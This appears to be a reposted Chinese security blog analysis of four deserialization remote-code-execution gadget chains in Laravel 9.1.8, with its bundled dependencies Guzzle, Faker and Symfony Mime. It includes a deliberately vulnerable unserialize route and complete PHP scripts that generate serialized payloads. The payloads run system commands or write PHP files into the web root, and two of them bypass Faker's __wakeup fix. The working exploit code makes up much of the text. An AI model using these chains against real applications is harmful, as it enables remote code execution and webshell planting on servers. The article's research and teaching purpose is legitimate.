Laravel 9.1.8 反序列化漏洞分析

admin 2022年5月24日17:01:33评论129 views1字数 7532阅读25分6秒阅读模式

更多全球网络安全资讯尽在邑安全

前言

刷推的时候, 刷到了有师傅发了Laravel 9.1.8的反序列化RCE链, 跟着漏洞描述自己复现了下.

环境搭建

直接下载官网Laravel 9.1.8的源码后composer install即可, 添加一个入口, 修改routesweb.php如下:

<?php

use IlluminateSupportFacadesRoute;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/', function (IlluminateHttpRequest $request) {

$vuln = base64_decode($request->input("vuln"));
unserialize($ser);
return "H3rmesk1t";
});

或者直接使用打包好的漏洞环境: 下载地址.

Laravel 9.1.8 POP Chain1

漏洞描述

Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in __destruct in IlluminateBroadcastingPendingBroadcast.php and dispatch($command) in IlluminateBusQueueingDispatcher.php.

Laravel 9.1.8 反序列化漏洞分析

漏洞分析

根据漏洞信息的描述, 跟进src/Illuminate/Broadcasting/PendingBroadcast.php中的__destruct方法, 可以看到这里的$this->events$this->event均为可控的, 寻找可用的dispatch方法.

Laravel 9.1.8 反序列化漏洞分析

Laravel 9.1.8 反序列化漏洞分析

这里跟进src/Illuminate/Bus/Dispatcher.php中的dispatch方法, 这里的$command$this->queueResolver均是可控的.

Laravel 9.1.8 反序列化漏洞分析

跟进dispatchToQueue方法, $command$this->queueResolver均是可控的, 不难看出可以利用该方法中的call_user_func方法来进行命令执行的利用.

Laravel 9.1.8 反序列化漏洞分析

现在需要解决的就是命令执行的语句, 注意到上图中的代码$connection = $command->connection ?? null;, 这里可以通过src/Illuminate/Broadcasting/BroadcastEvent.php中的类中变量来控制$connection, 从而达到命令执行的目的.

POP Chain

<?php

namespace IlluminateContractsQueue{

interface ShouldQueue {}
}

namespace IlluminateBus{

class Dispatcher{
protected $container;
protected $pipeline;
protected $pipes = [];
protected $handlers = [];
protected $queueResolver;
function __construct()
{
$this->queueResolver = "system";

}
}
}

namespace IlluminateBroadcasting{

use IlluminateContractsQueueShouldQueue;

class BroadcastEvent implements ShouldQueue {
function __construct() {}
}

class PendingBroadcast{
protected $events;
protected $event;
function __construct() {
$this->event = new BroadcastEvent();
$this->event->connection = "calc";
$this->events = new IlluminateBusDispatcher();
}
}
}

namespace {
$pop = new IlluminateBroadcastingPendingBroadcast();
echo base64_encode(serialize($pop));
}


Laravel 9.1.8 反序列化漏洞分析

Laravel 9.1.8 POP Chain2

漏洞描述

Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in __destruct in GuzzleHttpCookieFileCookieJar.php.

Laravel 9.1.8 反序列化漏洞分析

漏洞分析

根据漏洞信息的描述, 跟进src/Cookie/FileCookieJar.php中的__destruct方法, 可以看到这里会调用$this->save方法, 在save方法中, 存在file_put_contents方法来进行文件写入.

Laravel 9.1.8 反序列化漏洞分析

接着跟进src/Cookie/CookieJar.php中的shouldPersist方法, 看看写入的内容该如何构造.

Laravel 9.1.8 反序列化漏洞分析

寻找相应可用的getExpires方法和getDiscard方法, 跟进src/Cookie/SetCookie.php$data可控, 写入文件内容可控.

Laravel 9.1.8 反序列化漏洞分析

POP Chain

<?php

namespace GuzzleHttpCookie{

class SetCookie {
private static $defaults = [
'Name' => null,
'Value' => null,
'Domain' => null,
'Path' => '/',
'Max-Age' => null,
'Expires' => null,
'Secure' => false,
'Discard' => false,
'HttpOnly' => false
];
function __construct()
{
$this->data['Expires'] = '<?php phpinfo();?>';
$this->data['Discard'] = 0;
}
}

class CookieJar{
private $cookies = [];
private $strictMode;
function __construct() {
$this->cookies[] = new SetCookie();
}
}

class FileCookieJar extends CookieJar {
private $filename;
private $storeSessionCookies;
function __construct() {
parent::__construct();
$this->filename = "C:/Tools/phpstudy_pro/WWW/laravel9/public/info.php";
$this->storeSessionCookies = true;
}
}
}

namespace{
$pop = new GuzzleHttpCookieFileCookieJar();
echo base64_encode(serialize($pop));
}

Laravel 9.1.8 反序列化漏洞分析

Laravel 9.1.8 反序列化漏洞分析

Laravel 9.1.8 POP Chain3

漏洞描述

Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in (1) __destruct in IlluminateBroadcastingPendingBroadcast.php .(2) __call in FakerGenerator.php . This poc bypasses __wakeup in FakerGenerator.php : https://inhann.top/2022/05/17/bypass_wakeup/

漏洞分析

根据漏洞信息的描述, 该条链子主要是ByPasssrc/Faker/Generator.php中的__wakeup方法.

这里先来看看inhann师傅提到了绕过思路, 在src/Faker/Generator.php中对之前的反序列化问题的修复方法是添加了一个__wakeup方法来将$this->formatters的值始终为null array.

Laravel 9.1.8 反序列化漏洞分析

来看看如下的demo:

<?php
class Vuln {
public $demo1;
public $demo2;

public function __destruct() {
$this->demo1 = "h3rmesk1t";

var_dump($this->demo2);
}

public function __wakeup() {
$this->demo2 = 'd1no';
}
}

$ser = 'O:4:"Vuln":2:{s:5:"demo1";N;s:5:"demo2";R:2;}';
$unser = unserialize($ser);
var_dump($unser->demo2);
?>

Laravel 9.1.8 反序列化漏洞分析

可以看到序列化数据s:5:"demo2";R:2;使得$this->demo2$this->demo1指向的是同一个值, 即$this->demo2修改了, $this->demo1也相应地被修改了.

因此, 根据上面demo中的思路, 只需要找到一个对象$demo的一个属性$argsrc/Faker/Generator.php中的$this->formatters指向的是同一个值, 当src/Faker/Generator.php__wakeup方法结束后, 在构造的反序列化链的__destruct方法运行之前, 对$demo进行赋值, 此时$this->formatters将不再为null array, 需要注意的是, 这里$demo的赋值需要是完全可控的.

针对上文提到的绕过思路, 需要寻找一些合适的__wakeup方法或者__destruct方法, 且最好存在如下类似的代码:

$this->demo1 = $this->demo2;

$this->demo1[$this->demo2] = $this->demo3;

例如SymfonyComponentMimePartSMimePart.php中的__wakeup方法, 其$headers属性继承自其父类 AbstractPart__wakeup方法当中使用反射给$headers赋值.

Laravel 9.1.8 反序列化漏洞分析

namespace SymfonyComponentMimePart;
use SymfonyComponentMimeHeaderHeaders;
class SMimePart extends AbstractPart {

public function __wakeup(): void {
$r = new ReflectionProperty(AbstractPart::class, 'headers');
$r->setAccessible(true);
$r->setValue($this, $this->_headers);
unset($this->_headers);
}
}

namespace SymfonyComponentMimeHeader;
class UnstructuredHeader extends AbstractHeader {

private $value;
public function setValue(string $value) {
$this->value = $value;
}
}

根据该绕过思路即可对src/Faker/Generator.php中的__wakeup方法进行绕过.

POP Chain

<?php

namespace Faker {
class Generator {
protected $providers = [];
protected $formatters = [];
function __construct() {
$this->formatter = "dispatch";
$this->formatters = 9999;
}
}
}

namespace IlluminateBroadcasting {
class PendingBroadcast {
public function __construct() {
$this->event = "calc";
$this->events = new FakerGenerator();
}
}
}

namespace SymfonyComponentMimePart {
abstract class AbstractPart {
private $headers = null;
}

class SMimePart extends AbstractPart {
protected $_headers;
public $h3rmesk1t;
function __construct() {
$this->_headers = ["dispatch"=>"system"];
$this->h3rmesk1t = new IlluminateBroadcastingPendingBroadcast();
}
}
}


namespace {
$pop = new SymfonyComponentMimePartSMimePart();
$ser = preg_replace("/([^{]*{)(.*)(s:49.*)(})/","\1\3\2\4",serialize($pop));
echo base64_encode(str_replace("i:9999","R:2",$ser));
}


Laravel 9.1.8 反序列化漏洞分析

Laravel 9.1.8 POP Chain4

漏洞描述

Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in (1) __destruct in IlluminateRoutingPendingResourceRegistration.php .(2) register in IlluminateRoutingPendingResourceRegistration.php.(3) __call in FakerGenerator.php . This poc bypasses __wakeup in FakerGenerator.php : https://inhann.top/2022/05/17/bypass_wakeup/

漏洞分析

根据漏洞信息的描述, 该条链子依旧是ByPasssrc/Faker/Generator.php中的__wakeup方法. 漏洞分析逻辑如上文所述.

POP Chain

<?php

namespace Faker {
class Generator {
protected $providers = [];
protected $formatters = [];
function __construct() {
$this->formatter = "register";
$this->formatters = 9999;
}

}
}

namespace IlluminateRouting {
class PendingResourceRegistration {
protected $registrar;
protected $name;
protected $controller;
protected $options = [];
protected $registered = false;
function __construct() {
$this->registrar = new FakerGenerator();
$this->name = "C:/Tools/phpstudy_pro/WWW/laravel9/public/info.php";
$this->controller = "<?php phpinfo();system('calc');?>";
$this->options = 8;
}

}
}

namespace SymfonyComponentMimePart {
abstract class AbstractPart {
private $headers = null;
}
class SMimePart extends AbstractPart {
protected $_headers;
public $h3rmesk1t;
function __construct() {
$this->_headers = ["register"=>"file_put_contents"];
$this->h3rmesk1t = new IlluminateRoutingPendingResourceRegistration();
}
}
}


namespace {
$pop = new SymfonyComponentMimePartSMimePart();
$ser = preg_replace("/([^{]*{)(.*)(s:49.*)(})/","\1\3\2\4",serialize($pop));
echo base64_encode(str_replace("i:9999","R:2",$ser));
}

Laravel 9.1.8 反序列化漏洞分析

Laravel 9.1.8 反序列化漏洞分析

原文来自: xz.aliyun.com

原文链接: https://xz.aliyun.com/t/11362

欢迎收藏并分享朋友圈,让五邑人网络更安全

Laravel 9.1.8 反序列化漏洞分析

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 



原文始发于微信公众号(邑安全):Laravel 9.1.8 反序列化漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月24日17:01:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Laravel 9.1.8 反序列化漏洞分析http://cn-sec.com/archives/1045515.html

发表评论

匿名网友 填写信息